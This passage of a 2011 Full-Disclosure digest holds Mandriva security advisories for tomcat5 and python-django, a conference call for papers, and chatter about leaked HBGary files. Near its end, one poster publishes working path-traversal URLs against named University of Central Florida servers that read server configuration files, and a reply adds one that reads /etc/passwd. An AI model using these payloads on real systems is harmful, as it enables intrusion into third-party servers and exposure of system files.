5bdb48aeda19057db32a64589eacd82a2010.1/i586/tomcat5-5.5.28-0.5.0.2mdv2010.2.noarch.rpm96ecbc6c012122bf2e11e500c64022052010.1/i586/tomcat5-admin-webapps-5.5.28-0.5.0.2mdv2010.2.noarch.rpma176c1651cc2d08ed8510c01622d51762010.1/i586/tomcat5-common-lib-5.5.28-0.5.0.2mdv2010.2.noarch.rpm9240df47c808e342c5bc6dcd910d85f52010.1/i586/tomcat5-jasper-5.5.28-0.5.0.2mdv2010.2.noarch.rpm6f46c2c619ec79ec43783efcf7e908c22010.1/i586/tomcat5-jasper-eclipse-5.5.28-0.5.0.2mdv2010.2.noarch.rpm133a8b24ec4aa7662c0145ff5303beca2010.1/i586/tomcat5-jasper-javadoc-5.5.28-0.5.0.2mdv2010.2.noarch.rpm97eaf631f481c6431c7439755e33fde52010.1/i586/tomcat5-jsp-2.0-api-5.5.28-0.5.0.2mdv2010.2.noarch.rpm794935023c7630d13a887b474b78bb7e2010.1/i586/tomcat5-jsp-2.0-api-javadoc-5.5.28-0.5.0.2mdv2010.2.noarch.rpmce72eb40ddf157064e8926eb58e2740b2010.1/i586/tomcat5-server-lib-5.5.28-0.5.0.2mdv2010.2.noarch.rpm84f3460a32131aef7f663ea2c59818592010.1/i586/tomcat5-servlet-2.4-api-5.5.28-0.5.0.2mdv2010.2.noarch.rpmf04fe3121f8b1cf579f0cc92099c364a2010.1/i586/tomcat5-servlet-2.4-api-javadoc-5.5.28-0.5.0.2mdv2010.2.noarch.rpmec6163a7e1ee720c01f86b7070ae1a5d2010.1/i586/tomcat5-webapps-5.5.28-0.5.0.2mdv2010.2.noarch.rpme480656f0abde41f97e478151a7fc71f2010.1/SRPMS/tomcat5-5.5.28-0.5.0.2mdv2010.2.src.rpmMandriva Linux 2010.1/X86_64: 405ff9248913717a0249614e3ccdeff42010.1/x86_64/tomcat5-5.5.28-0.5.0.2mdv2010.2.noarch.rpm0500f420f913cac42c8c2398182e0b8d2010.1/x86_64/tomcat5-admin-webapps-5.5.28-0.5.0.2mdv2010.2.noarch.rpmf796e84a6cf4dac452eaaec03b819c972010.1/x86_64/tomcat5-common-lib-5.5.28-0.5.0.2mdv2010.2.noarch.rpm3e25bb28dc6c08b2dcbd1a272d01eaec2010.1/x86_64/tomcat5-jasper-5.5.28-0.5.0.2mdv2010.2.noarch.rpm07e577e2fbc57e40b9444784497152402010.1/x86_64/tomcat5-jasper-eclipse-5.5.28-0.5.0.2mdv2010.2.noarch.rpm1e688aca310915303d257abaa0c550992010.1/x86_64/tomcat5-jasper-javadoc-5.5.28-0.5.0.2mdv2010.2.noarch.rpm631f812a7a32013ba301cecbeb23163d2010.1/x86_64/tomcat5-jsp-2.0-api-5.5.28-0.5.0.2mdv2010.2.noarch.rpm5970e0221d6d5386f04316b6805c6bfc2010.1/x86_64/tomcat5-jsp-2.0-api-javadoc-5.5.28-0.5.0.2mdv2010.2.noarch.rpmf64a8611f668cd19bafb0a8884c3b9982010.1/x86_64/tomcat5-server-lib-5.5.28-0.5.0.2mdv2010.2.noarch.rpmba19195b485e4468780f36010c5215b52010.1/x86_64/tomcat5-servlet-2.4-api-5.5.28-0.5.0.2mdv2010.2.noarch.rpme241ad2d2ea43d6515b61a256fdbc61e2010.1/x86_64/tomcat5-servlet-2.4-api-javadoc-5.5.28-0.5.0.2mdv2010.2.noarch.rpm15718f212c8d29bdbaac81ab40afbd2a2010.1/x86_64/tomcat5-webapps-5.5.28-0.5.0.2mdv2010.2.noarch.rpme480656f0abde41f97e478151a7fc71f2010.1/SRPMS/tomcat5-5.5.28-0.5.0.2mdv2010.2.src.rpmMandriva Enterprise Server 5: bd71ae4141fbf5a884cfbccc756c8329mes5/i586/tomcat5-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm75b8764895d7b231901602dd0605f2e2mes5/i586/tomcat5-admin-webapps-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm6c827ad66b01560b72c5a8c96616afaames5/i586/tomcat5-common-lib-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm1a2155333c323146ef3e1fbdeae96035mes5/i586/tomcat5-jasper-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm554ec541f6857a7946a6fae67c0a2fa6mes5/i586/tomcat5-jasper-eclipse-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm10b54ca8ebefcd816bade65dae8e408bmes5/i586/tomcat5-jasper-javadoc-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm8a12958fd3040ca0f4ce23bb7a3a1bdfmes5/i586/tomcat5-jsp-2.0-api-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm320881d8a847077fc8a7d70d7d0e0a02mes5/i586/tomcat5-jsp-2.0-api-javadoc-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm8ab623786a3479dc5e990b9949a13502mes5/i586/tomcat5-server-lib-5.5.27-0.3.0.4mdvmes5.1.noarch.rpmd4c53039181b378a3da1016c137ad843mes5/i586/tomcat5-servlet-2.4-api-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm52922ac7e5b4c1a7356d5248cf264a1dmes5/i586/tomcat5-servlet-2.4-api-javadoc-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm6cf03c3b0981031f6bf7b8710990bcb0mes5/i586/tomcat5-webapps-5.5.27-0.3.0.4mdvmes5.1.noarch.rpma4f9e4804454f2d628865ad654d6a188mes5/SRPMS/tomcat5-5.5.27-0.3.0.4mdvmes5.1.src.rpmMandriva Enterprise Server 5/X86_64: 20eee581278206c28db4e304a6756671mes5/x86_64/tomcat5-5.5.27-0.3.0.4mdvmes5.1.noarch.rpmd6b1d88885c03c36a84dd7703bb82bbbmes5/x86_64/tomcat5-admin-webapps-5.5.27-0.3.0.4mdvmes5.1.noarch.rpma04900de513cbaf5359b41b1df0e9ff3mes5/x86_64/tomcat5-common-lib-5.5.27-0.3.0.4mdvmes5.1.noarch.rpmc58d2e125e9c2e4de256224d64cf1d46mes5/x86_64/tomcat5-jasper-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm7612d8a28f5e008405a282ceb265a769mes5/x86_64/tomcat5-jasper-eclipse-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm0796bfcd6e042c1128426bb47aae03d5mes5/x86_64/tomcat5-jasper-javadoc-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm2ccd09878fd1f3ef8e4846864bd2f71emes5/x86_64/tomcat5-jsp-2.0-api-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm1b94570c1a5913fd0eefbcbee71afdc8mes5/x86_64/tomcat5-jsp-2.0-api-javadoc-5.5.27-0.3.0.4mdvmes5.1.noarch.rpmca2608f81795ff805e34e7316799a6a7mes5/x86_64/tomcat5-server-lib-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm37d677648216a2d5577db95f0ab9f194mes5/x86_64/tomcat5-servlet-2.4-api-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm42077f152ee121ed61cda754200f8902mes5/x86_64/tomcat5-servlet-2.4-api-javadoc-5.5.27-0.3.0.4mdvmes5.1.noarch.rpm75657b92a4a6d94e27c3188653cad41emes5/x86_64/tomcat5-webapps-5.5.27-0.3.0.4mdvmes5.1.noarch.rpma4f9e4804454f2d628865ad654d6a188mes5/SRPMS/tomcat5-5.5.27-0.3.0.4mdvmes5.1.src.rpm_______________________________________________________________________ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com _______________________________________________________________________ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team <security*mandriva.com> -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iD8DBQFNXrAVmqjQ0CJFipgRAjIfAJ4yL+76n74D2G8gpFyNCGQ4s6+6GACglNTw j0b0pCkznIMqccTMYR+zW5E= =KGzB -----END PGP SIGNATURE----- ------------------------------ Message: 13 Date: Fri, 18 Feb 2011 22:28:03 +0100 From: Alejandro Cánovas Solbes<alejandro.canovas.cp46700 () gmail com> Subject: [Full-disclosure] Deadline extension | MOBILITY 2011 || July 17-22, 2011 - Bournemouth, UK To: full-disclosure () lists grok org uk Message-ID:<201102182128.p1ILS2L6027576 () smtp upv es> Content-Type: text/plain; charset=us-ascii INVITATION: ================= Please consider to contribute to and/or forward to the appropriate groupsthe following opportunity to submit and publish original scientific results.================= ============== MOBILITY 2011 | Call for Papers =============== CALL FOR PAPERS, TUTORIALS, PANELS MOBILITY 2011: The First International Conference on Mobile Services,Resources, and UsersJuly 17-22, 2011 - Bournemouth, UK General page: http://www.iaria.org/conferences2011/MOBILITY11.html Call for Papers: http://www.iaria.org/conferences2011/CfPMOBILITY11.html Submission deadline: March 10, 2011 Technical Co-Sponsors: - The Bournemouth& Poole College - UNIK - University Graduate Center - Bournemouth University - Movation Collaboration Centre - Center for Wireless Innovation, Norway - INRIA - PT Inovacao - Cisco Systems, Inc. Sponsored by IARIA, www.iaria.org Extended versions of selected papers will be published in IARIA Journals:http://www.iariajournals.orgExtended versions of selected papers on vehicular mobility will bepublished in a special issue of IJET Journal:http://www.inderscience.com/browse/index.php?journalID=133 Please note the Poster Forum and Work in Progress options. The topics suggested by the conference can be discussed in term ofconcepts, state of the art, research, standards, implementations, running experiments, applications, and industrial case studies. Authors are invited to submit complete unpublished papers, which are not under review in any other conference or journal in the following, but not limited to, topic areas.All tracks are open to both research and industry contributions, in termsof Regular papers, Posters, Work in progress, Technical/marketing/business presentations, Demos, Tutorials, and Panels.Before submission, please check and conform with the Editorial rules:http://www.iaria.org/editorialrules.htmlMOBILITY 2011 Topics (topics and submission details: see CfP on the site) Mobile architectures, mechanisms, protocols Mobility and wireless; Mobility enabling protocols; Mobile software;Service composition in mobile environments; Knowledge and service discovery in mobile environments; On-demand mobility; User presence in mobile environments; Replication in mobile environments; Middleware for mobile environments; Internet and mobility; Software architecture for mobile applicationsMobile networking and management Fundamentals of mobile networks; Mobile-Fixed interworking; Heterogenousnetworks; Beyond IMT-A; Mobile network virtualization; Femtocells and relays; Mobile cells; Mobile network sharing and network access; Self-management of mobile networks; Mobility management; Access control in mobile environments; Advanced roaming concepts; Mobile network edge-based service delivery platforms; Mobile content delivery networks; Mobile peer-to-peer systems; Mobile VPNs; Quality of experience in mobile networksMobile devices and services Smart mobile devices; Embedded mobile; Sensors and mobiles; Mobile media,mobile content; Mobile applications (mobile learning, mobile healthcare, etc.); Mobile games; Mobile business; Mobile Web applications; Apps versus Web; Novel software concepts for mobile services; Mobile- and micro payment; mCommerceMobile prosumers and interfaces User interaction and mobility; Mobile communities; Mobile Web interfacesand interaction techniques; Implementations and experimental mobile systems; Mobile Web; Mobile search and advertisingMobile Internet of Things Future mobile Internet; Internet of Things; Machine to Machine, People,Business (M2x); Online; Smart Homes; Smart CitiesVehicular mobile technology Architectures and platforms; Vehicular ad hoc networks; Vehicular routingmetrics and supporting protocols; Mobility management and topology control; Standardization of vehicular networks; User aspects; Business enablersChallenges in mobile environments Security and privacy environments; Protection and safety of distributedmobile data; Context-aware mobility and privacy; Mobile emergency communication and public safety; Location-based services; Micro-payments; Accuracy and preciseness in localizing mobile entities==================== MOBILITY General Chair Josef Noll, University of Oslo& Movation, Norway MOBILITY Advisory Committee Petre Dini, Concordia University, Canada& IARIA, USA Pekka Jappinen. Lappeenranta University of Technology, Finland Maode Ma, Nanyang Technological University, Singapore MOBILITY Industry Liaison Chairs Filipe Cabral Pinto, Telecom Inovação S.A., Portugal Xiang Song, Microsoft, USA Xun Luo, Qualcomm Inc. - San Diego, USA MOBILITY Special Area Chairs on Video Mikko Uitto, VTT Technical Research Centre of Finland, Finland MOBILITY Special Area Chairs on Mobile Wireless Networks Mohammad Mushfiqur Chowdhury, University of Oslo, Norway Masashi Sugano, Osaka Prefecture University, Japan MOBILITY Special Area Chairs on Mobile Web / Application In-Young Ko, Korea Advanced Institute of Science and Technology (KAIST),KoreaMOBILITY Special Area Chairs on Context-aware, Media, and Pervasive Brent Lagesse, Oak Ridge National Laboratory, USA MOBILITY Special Area Chairs on Mobile Internet of Things and MobileCollaborationsJörn Franke, SAP Research Center - Sophia Antipolis, France Nils Olav Skeie, University College Telemark, Norway MOBILITY Special Area Chairs on Vehicular Mobility Gianluca Franchino, CEIICP - Scuola Superiore Sant'Anna - Pisa, Italy MOBILITY Special Area Chairs on Mobile Cloud Computing Chunming Rong, University of Stavanger, Norway Josef Noll, Center for Wireless Innovation, Norway MOBILITY Publicity Chairs Aline Carneiro Viana, INRIA Saclay - Ile de France - Orsay, France Sarfraz Alam, UNIK-University Graduate Center, Norway Committee: http://www.iaria.org/conferences2011/ComMOBILITY11.html ============================ ------------------------------ Message: 14 Date: Fri, 18 Feb 2011 23:10:00 +0100 From: security () mandriva com Subject: [Full-disclosure] [ MDVSA-2011:031 ] python-django To: full-disclosure () lists grok org uk Message-ID:<E1PqYWW-0005jS-I9 () titan mandriva com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandriva Linux Security Advisory MDVSA-2011:031 http://www.mandriva.com/security/ _______________________________________________________________________ Package : python-django Date : February 18, 2011 Affected: 2010.0, 2010.1 _______________________________________________________________________ Problem Description: Multiple vulnerabilities has been found and corrected in python-django: Django 1.1.x before 1.1.4 and 1.2.x before 1.2.5 does not properly validate HTTP requests that contain an X-Requested-With header, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via forged AJAX requests that leverage a combination of browser plugins and redirects, a related issue to CVE-2011-0447 (CVE-2011-0696). Cross-site scripting (XSS) vulnerability in Django 1.1.x before 1.1.4 and 1.2.x before 1.2.5 might allow remote attackers to inject arbitrary web script or HTML via a filename associated with a file upload (CVE-2011-0697). Directory traversal vulnerability in Django 1.1.x before 1.1.4 and 1.2.x before 1.2.5 on Windows might allow remote attackers to read or execute files via a / (slash) character in a key in a session cookie, related to session replays (CVE-2011-0698). The updated packages have been upgraded to the 1.1.4 version which is not vulnerable to these issues. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0696 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0697 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0698 _______________________________________________________________________ Updated Packages: Mandriva Linux 2010.0: 202f769807a186f2d9197c9eda30faa62010.0/i586/python-django-1.1.4-0.1mdv2010.0.noarch.rpmba04206d09a47c76d3e5b0e60dbad79f2010.0/SRPMS/python-django-1.1.4-0.1mdv2010.0.src.rpmMandriva Linux 2010.0/X86_64: 33eb96488eced9ae1d573bb6f27060582010.0/x86_64/python-django-1.1.4-0.1mdv2010.0.noarch.rpmba04206d09a47c76d3e5b0e60dbad79f2010.0/SRPMS/python-django-1.1.4-0.1mdv2010.0.src.rpmMandriva Linux 2010.1: 3cfc441c4f75142c19416c6f6d22eb2d2010.1/i586/python-django-1.1.4-0.1mdv2010.2.noarch.rpm4f628f112373a36feebb403daec0e6462010.1/SRPMS/python-django-1.1.4-0.1mdv2010.2.src.rpmMandriva Linux 2010.1/X86_64: 50a8a8aad7dd3001bee2560f8df1b1562010.1/x86_64/python-django-1.1.4-0.1mdv2010.2.noarch.rpm4f628f112373a36feebb403daec0e6462010.1/SRPMS/python-django-1.1.4-0.1mdv2010.2.src.rpm_______________________________________________________________________ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com _______________________________________________________________________ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team <security*mandriva.com> -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iD8DBQFNXsGvmqjQ0CJFipgRAggbAKC6jBSLeNUZCFYKefNU6S5mo4G+QgCeLdLo ksEbjuDpyvINyjhBj/kj17s= =QCYL -----END PGP SIGNATURE----- ------------------------------ Message: 15 Date: Fri, 18 Feb 2011 23:17:00 +0100 From: Dani?l W. Crompton<daniel.crompton () gmail com> Subject: Re: [Full-disclosure] Fwd: HBGary Mirrors? To: full-disclosure () lists grok org uk Message-ID: <AANLkTinx9gtrCkOo1+6x61kq7fJoEtMyHw6PAyCw6LF0 () mail gmail com> Content-Type: text/plain; charset="iso-8859-1" On 18 February 2011 20:11, Cal Leeming [Simplicity Media Ltd]< cal.leeming () simplicitymedialtd co uk> wrote:I'm wondering along the same lines as Thor, based on intent. One ofthose"don't take the piss or the judge is gonna own you" scenarios that wouldbetested in court on a per trial basis. Like, if the files were known to contain encrypted info, and if it was proved that you knew the contentsofthose files, then you would be held liable.Unless you has actually decrypted the file you would not "know" what wasinthe file, you would be relying on what the person who gave you the filetoldyou. I assume this would be some kind of hearsay, although a judge might consider you an accessory after the fact or a (co-)conspirator which insomecases might result in a higher sentence than the original crime. D. blaze your trail -- Dani?l W. Crompton<daniel.crompton () gmail com> <http://specialbrands.net/> <http://specialbrands.net/> http://specialbrands.net/ <http://twitter.com/webhat> <http://www.facebook.com/webhat><http://plancast.com/webhat><http://www.linkedin.com/in/redhat>-------------- next part -------------- An HTML attachment was scrubbed... URL:http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110218/8bdc0d1a/attachment-0001.html------------------------------ Message: 16 Date: Fri, 18 Feb 2011 13:28:21 -0500 From: William Warren<hescominsoon () emmanuelcomputerconsulting com> Subject: Re: [Full-disclosure] HBGary Mirrors? To: full-disclosure () lists grok org uk Message-ID:<4D5EBA45.9090409 () emmanuelcomputerconsulting com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed On 2/18/2011 11:24 AM, ck wrote:So, the FEDs shut down all mirrors of the HBGary files - or didn't they? ck _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/i've got a copy..:) ------------------------------ Message: 17 Date: Sat, 19 Feb 2011 01:08:56 -0500 From: Hack Talk<hacktalkblog () gmail com> Subject: [Full-disclosure] University of Central Florida Multiple LFI To: full-disclosure () lists grok org uk Message-ID: <AANLkTi=oyDpNL6Jgu8Ms=btLaZdjUkvyhFxXLH8vDjj0 () mail gmail com> Content-Type: text/plain; charset="iso-8859-1" Found these and thought I'd share: -==================-http://excel.ucf.edu/index.php?p=../../../../../../../../../../../../../../../../../../../../etc/apache2/apache2.conf%00http://chemistry.cos.ucf.edu/belfield/index.php?page=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00-==================- Let me know if you do anything fun with 'em Luis Santana - Security+ Administrator - http://hacktalk.net HackTalk Security - Security From The Underground -------------- next part -------------- An HTML attachment was scrubbed... URL:http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110219/6916c766/attachment-0001.html------------------------------ Message: 18 Date: Sat, 19 Feb 2011 16:34:21 +0530 From: Madhur Ahuja<ahuja.madhur () gmail com> Subject: Re: [Full-disclosure] University of Central Florida Multiple LFI To: Hack Talk<hacktalkblog () gmail com> Cc: full-disclosure () lists grok org uk Message-ID: <AANLkTimd5F1Kgw1uCO_UGgX3mVUiMuU9jaisp6K=SM-K () mail gmail com> Content-Type: text/plain; charset="utf-8"http://chemistry.cos.ucf.edu/belfield/index.php?page=../../../../../../../../../../../../../../../etc/passwd%00On Sat, Feb 19, 2011 at 11:38 AM, Hack Talk<hacktalkblog () gmail com>wrote:Found these and thought I'd share: -==================-http://excel.ucf.edu/index.php?p=../../../../../../../../../../../../../../../../../../../../etc/apache2/apache2.conf%00http://chemistry.cos.ucf.edu/belfield/index.php?page=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00-==================- Let me know if you do anything fun with 'em Luis Santana - Security+ Administrator - http://hacktalk.net HackTalk Security - Security From The Underground _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/-------------- next part -------------- An HTML attachment was scrubbed... URL:http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110219/d0ac46de/attachment.html------------------------------ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ End of Full-Disclosure Digest, Vol 72, Issue 44 ***********************************************_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- LFI Bug and other Friedrich Hausberger (Feb 19)
- Re: LFI Bug and other ghost (Feb 19)
- Re: LFI Bug and other Cal Leeming [Simplicity Media Ltd] (Feb 20)